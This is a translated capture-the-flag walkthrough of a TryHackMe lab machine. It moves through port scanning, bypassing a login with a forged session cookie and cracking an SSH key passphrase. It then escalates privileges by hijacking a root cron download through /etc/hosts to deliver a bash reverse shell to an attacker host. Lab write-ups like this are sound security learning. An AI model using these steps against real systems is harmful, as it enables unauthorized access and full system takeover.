This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Overpass


January 7, 20235 minutes

https://tryhackme.com/room/overpass

Attacker IP = 10.10.10.10

Target IP = 10.10.170.40

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.170.40
PING 10.10.170.40 (10.10.170.40) 56(84) bytes of data.
64 bytes from 10.10.170.40: icmp_seq=1 ttl=63 time=218 ms

--- 10.10.170.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 217.508/217.508/217.508/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)

Now we start with a port scan

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.170.40 -oG allPorts
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
-sS –min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip host discovery
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.170.40
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p 22,80 -sC -sV 10.10.170.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 20:15 CET
Nmap scan report for 10.10.170.40
Host is up (0.052s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37968598d1009c1463d9b03475b1f957 (RSA)
|   256 5375fac065daddb1e8dd40b8f6823924 (ECDSA)
|_  256 1c4ada1f36546da6c61700272e67759c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass

Web

With whatweb we can get more information about the website:

❯ whatweb 10.10.170.40
http://10.10.170.40 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.170.40], Script, Title[Overpass], X-UA-Compatible[IE=edge]

When we open the website, the first thing we find is this page

Looking for subdirectories

With wfuzz we are going to look for subdirectories using the wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000069:   301        0 L      0 W        0 Ch        "downloads"                                                                                                                 
000000039:   301        0 L      0 W        0 Ch        "img"                                                                                                                       
000000156:   301        0 L      0 W        0 Ch        "aboutus"                                                                                                                   
000000259:   301        2 L      3 W        42 Ch       "admin"                                                                                                                     
000000550:   301        0 L      0 W        0 Ch        "css" 

Foothold

Inside /admin there is a login panel. Looking at the source of /admin, we can see there is a login.js

<script src="/login.js"></script>

Which contains the following:

async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

What it does is: it checks the server’s response to see whether it contains the string “Incorrect credentials”, and if it doesn’t, the script sets a cookie called “SessionToken” with the value of the server’s response and redirects the user to the “/admin” page.

So what we can do is create a cookie called “SessionToken” with a random value. After reloading, we get in

What we see after reloading the page is an RSA private key.

We save that private key in a file called id_rsa

First we set its permissions:

chmod 600 id_rsa

The RSA private key says it is encrypted.

To get the password, we extract the hash with ssh2john and then try to crack it with john and a wordlist

ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

We have the password

Now we connect over SSH as james with the id_rsa

ssh -i id_rsa [email protected]

Privilege escalation

With cat /etc/crontab

We see that root runs a curl to overpass.thm/downloads/src/buildscript.sh and then runs it with bash.

We have permission to edit /etc/hosts

We add the following to /etc/hosts

10.10.10.10 overpass.thm

Then, on our machine, we create the folders and the file from the URL in the crontab

❯ cat downloads/src/buildscript.sh
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: downloads/src/buildscript.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/bash
   2   │ 
   3   │ bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
───────┴─────────────────────────────────────────────────────────────────────────────────────────

We start a Python server

sudo python3 -m http.server 80

And finally we listen on port 443 with netcat

nc -nlvp 443

We wait a bit and we are root